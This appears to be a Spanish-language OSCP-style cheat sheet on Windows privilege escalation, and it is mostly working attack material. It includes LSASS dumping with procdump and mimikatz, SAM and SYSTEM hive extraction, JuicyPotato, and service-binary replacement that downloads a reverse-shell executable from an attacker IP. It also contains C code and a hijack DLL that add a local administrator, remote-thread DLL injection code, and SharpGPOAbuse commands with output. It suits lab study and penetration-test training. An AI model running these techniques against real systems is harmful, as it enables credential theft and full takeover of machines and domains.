C# project for performing a wide variety of local privilege escalation checks
winPEAS
WinPEAS is a script that searches for possible paths to escalate privileges on Windows hosts. All of the checks are explained here
PowerUp
PowerShell script for finding common Windows privilege escalation vectors that rely on misconfigurations. It can also be used to exploit some of the issues found
SharpUp
C# version of PowerUp
JAWS
PowerShell script for enumerating privilege escalation vectors written in PowerShell 2.0
SessionGopher
SessionGopher is a PowerShell tool that finds and decrypts saved session information for remote access tools. It extracts PuTTY, WinSCP, SuperPuTTY, FileZilla, and RDP saved session information
Watson
Watson is a .NET tool designed to enumerate missing KBs and suggest exploits for Privilege Escalation vulnerabilities.
LaZagne
Tool used for retrieving passwords stored on a local machine from web browsers, chat tools, databases, Git, email, memory dumps, PHP, sysadmin tools, wireless network configurations, internal Windows password storage mechanisms, and more
Windows Exploit Suggester - Next Generation
WES-NG is a tool based on the output of Windows’ systeminfo utility which provides the list of vulnerabilities the OS is vulnerable to, including any exploits for these vulnerabilities. Every Windows OS between Windows XP and Windows 10 is supported
Sysinternals Suite
We will use several tools from Sysinternals in our enumeration including AccessChk, PipeList, and PsService
Muchas veces cuando conseguimos un acceso a un usuario de un servicio, o sea una service account como puede ser sql server, al revisar los privilegios de ese usuario, vemos que tiene el privilegio SeImpersonate..
Podemos utilizar juicypotato para conseguir un token de servicio con el privilegio SeImpersonate.
Juicy potato es un script de windows que nos permite obtener un token de servicio con privilegios elevados.
https://github.com/ohpe/juicy-potato
Explota privilegios via DCOM/NTLM (SeImpersonate).
Muchas veces cuando conseguimos un acceso a un usuario de un servicio, o sea una service account como puede ser sql server, al revisar los privilegios de ese usuario, vemos que tiene el privilegio SeDebugPrivilege.
Podemos usar ProcDump de Sysinternals para conseguir un un dump de memoria LSASS.
procdump.exe -accepteula -ma lsass.exe lsass.dmp
Ahora con esto podemos usar pypykatz en nuestra maquina atacante, o mimikatz en la maquina victima para obtener las credenciales de los servicios.
mimikatz # log
Using 'mimikatz.log' for logfile : OK
mimikatz # sekurlsa::minidump lsass.dmp
Switch to MINIDUMP : 'lsass.dmp'
mimikatz # sekurlsa::logonpasswords
Opening : 'lsass.dmp' file for minidump...
pypykatz lsa minidump 'lsass (1).dmp'
De todas formas siempre podemos dumpear a mano con el task manager.
Este grupo también nos permite hacer cosas interesantes como tomar el NTSD.dit del DC y copiarlo en una maquina que no tenga permisos de administrador..
Este archivo contiene hashes NTLM de todos los usuarios bajo el dominio.
Podemos utilizar diskshadow para copiar el disco C y exponerlo como disco E.
Este privilegio también nos permite copiar los registros SAM y SYSTEM. Lo cual nos permite extraer credenciales de los usuarios mediante impacket-secretsdump.
C:\htb> reg save HKLM\SYSTEM SYSTEM.SAV
The operation completed successfully.
C:\htb> reg save HKLM\SAM SAM.SAV
The operation completed successfully.
Lo que podemos hacer es cambiar el path de la binary a un archivo que queramos ejecutar, por ejemplo nc.exe o un archivo exe que ejecute una reverse shell.
#include<stdlib.h>intmain(){inti;i=system("net user USER PASSWORD /add");i=system("net localgroup administrators USER /add");return0;}
Movemos el binario mysql original, subimos el nuestro y cambiamos el path del servicio.
iwr -uri http://192.168.48.3/adduser.exe -Outfile adduser.exe: Descargamos el binario.
move C:\xampp\mysql\bin\mysqld.exe mysqld.exe: Movemos el binario original.
move .\adduser.exe C:\xampp\mysql\bin\mysqld.exe: Movemos el binario que queremos ejecutar.
Ahora o reiniciamos el servicio o reiniciamos la maquina.
sc stop mysql: Reiniciamos el servicio.
sc start mysql: Reiniciamos el servicio.
O bien reiniciamos la maquina: shutdown /r /t 0
Abusar de binario de un servicio con un directorio con espacios y sin comillas¶
Muchas veces los servicios tienen un directorio con espacios y no tienen comillas, lo que nos permite abusar de esto.
Por ejemplo, si tenemos un servicio que tiene un directorio con espacios y no tiene comillas, podemos abusar de esto cambiando el path del servicio.
Name : DevService
DisplayName : DevService
Description :
State : Stopped
StartMode : Auto
PathName : C:\Skylark\Development Binaries 01\???????.exe
- En este caso podemos cambiar el path del servicio a un binario que queramos ejecutar, por ejemplo nc.exe o un archivo exe que ejecute una reverse shell.
- curl http://192.168.45.210/rev.exe -o Development.exe
- sc query DevService
- sc Start DevService
- sc config DevService binPath= "C:\Skylark\Development Binaries 01\rev.exe": OPCIONAL! a veces no es necesario.
- Y del otro lado tenemos el listener escuchando
LoadLibrary es una función de la API de Windows que carga una DLL en la memoria de un proceso.
Código C:
#include<windows.h> // windows API#include<stdio.h> // standard I/Ointmain(){// Using LoadLibrary to load a DLL into the current processHMODULEhModule=LoadLibrary("example.dll");if(hModule==NULL){printf("Failed to load example.dll\n");return-1;}printf("Successfully loaded example.dll\n");return0;}
#include<windows.h>#include<stdio.h>intmain(){// Using LoadLibrary for DLL injection// First, we need to get a handle to the target processDWORDtargetProcessId=123456// The ID of the target processHANDLEhProcess=OpenProcess(PROCESS_ALL_ACCESS,FALSE,targetProcessId);if(hProcess==NULL){printf("Failed to open target process\n");return-1;}// Next, we need to allocate memory in the target process for the DLL pathLPVOIDdllPathAddressInRemoteMemory=VirtualAllocEx(hProcess,NULL,strlen(dllPath),MEM_RESERVE|MEM_COMMIT,PAGE_READWRITE);if(dllPathAddressInRemoteMemory==NULL){printf("Failed to allocate memory in target process\n");return-1;}// Write the DLL path to the allocated memory in the target processBOOLsucceededWriting=WriteProcessMemory(hProcess,dllPathAddressInRemoteMemory,dllPath,strlen(dllPath),NULL);if(!succeededWriting){printf("Failed to write DLL path to target process\n");return-1;}// Get the address of LoadLibrary in kernel32.dllLPVOIDloadLibraryAddress=(LPVOID)GetProcAddress(GetModuleHandle("kernel32.dll"),"LoadLibraryA");if(loadLibraryAddress==NULL){printf("Failed to get address of LoadLibraryA\n");return-1;}// Create a remote thread in the target process that starts at LoadLibrary and points to the DLL pathHANDLEhThread=CreateRemoteThread(hProcess,NULL,0,(LPTHREAD_START_ROUTINE)loadLibraryAddress,dllPathAddressInRemoteMemory,0,NULL);if(hThread==NULL){printf("Failed to create remote thread in target process\n");return-1;}printf("Successfully injected example.dll into target process\n");return0;}
El concepto es reemplazar un DLL utilizado por un programa por otro DLL que contenga código malicioso para elevar privilegios.
Hipoteticamente sabemos que el programa carga un DLL que no existe en el sistema, entonces podemos crear un DLL con el mismo nombre y cargarlo en la memoria del proceso.
O también hipoteticamente sabemos que el programa carga un DLL que existe en el sistema, pero lo reemplazamos por otro DLL que contenga código malicioso.
#include<stdlib.h>#include<windows.h>// Super inyección mega básica del curso OSCP// Este código implementa una DLL que realiza una inyección básica al ser cargada en un proceso.// La función DllMain es el punto de entrada de la DLL y ejecuta diferentes acciones dependiendo del motivo de la llamada.// Para compilar en Kali Linux utilizamos mingw64 con el siguiente comando:// x86_64-w64-mingw32-gcc SuperBasicInjection.cpp --shared -o SomeMissingDLL.dll// Para compilar desde Visual Studio, simplemente cree un proyecto de DLL y agregue este archivo fuente.BOOLAPIENTRYDllMain(HMODULEhModule,DWORDul_reason_for_call,LPVOIDlpReserved){switch(ul_reason_for_call){caseDLL_PROCESS_ATTACH:// Este caso se ejecuta cuando la DLL es cargada en un proceso.// Aquí se realiza la inyección de código.// En este ejemplo, se crea un usuario local con privilegios de administrador.inti;i=system("net user /add test-account test1234");// Crea un usuario llamado "test-account" con contraseña "test1234".i=system("net localgroup administrators test-account /add");// Agrega el usuario al grupo de administradores locales.break;caseDLL_THREAD_ATTACH:// Este caso se ejecuta cuando un nuevo hilo se crea en el proceso que cargó la DLL.break;caseDLL_THREAD_DETACH:// Este caso se ejecuta cuando un hilo que usaba la DLL termina.break;caseDLL_PROCESS_DETACH:// Este caso se ejecuta cuando la DLL es descargada del proceso.break;}returnTRUE;// Indica que la DLL se cargó correctamente.}
Podemos tener un usuario con varios permisos sobre las politicas del dominio.
Podemos utilizar SharpGPOAbuse para intentar agregar un usuario al grupo de administradores del dominio.
.\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount Charlotte --GPOName "Default Domain Policy"
*Evil-WinRM* PS C:\Users\charlotte\Documents> .\.\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount Charlotte --GPOName "Default Domain Policy"
[+] Domain = secura.yzx
[+] Domain Controller = dc01.secura.yzx
[+] Distinguished Name = CN=Policies,CN=System,DC=secura,DC=yzx
[+] SID Value of Charlotte = S-1-5-21-3453094141-4163309614-2941200192-1104
[+] GUID of "Default Domain Policy" is: {31B2F340-016D-11D2-945F-00C04FB984F9}
[+] File exists: \\secura.yzx\SysVol\secura.yzx\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\Machine\Microsoft\Windows NT\SecEdit\GptTmpl.inf
[+] The GPO does not specify any group memberships.
[+] versionNumber attribute changed successfully
[+] The version number in GPT.ini was increased successfully.
[+] The GPO was modified to include a new local admin. Wait for the GPO refresh cycle.
[+] Done!
gpupdate /force
Te puedes conectar con evil-winrm o meterpreter.
*Evil-WinRM* PS C:\Users\charlotte\Documents> net localgroup administrators
Alias name administrators
Comment Administrators have complete and unrestricted access to the computer/domain
Members
-------------------------------------------------------------------------------
Administrator
charlotte
The command completed successfully.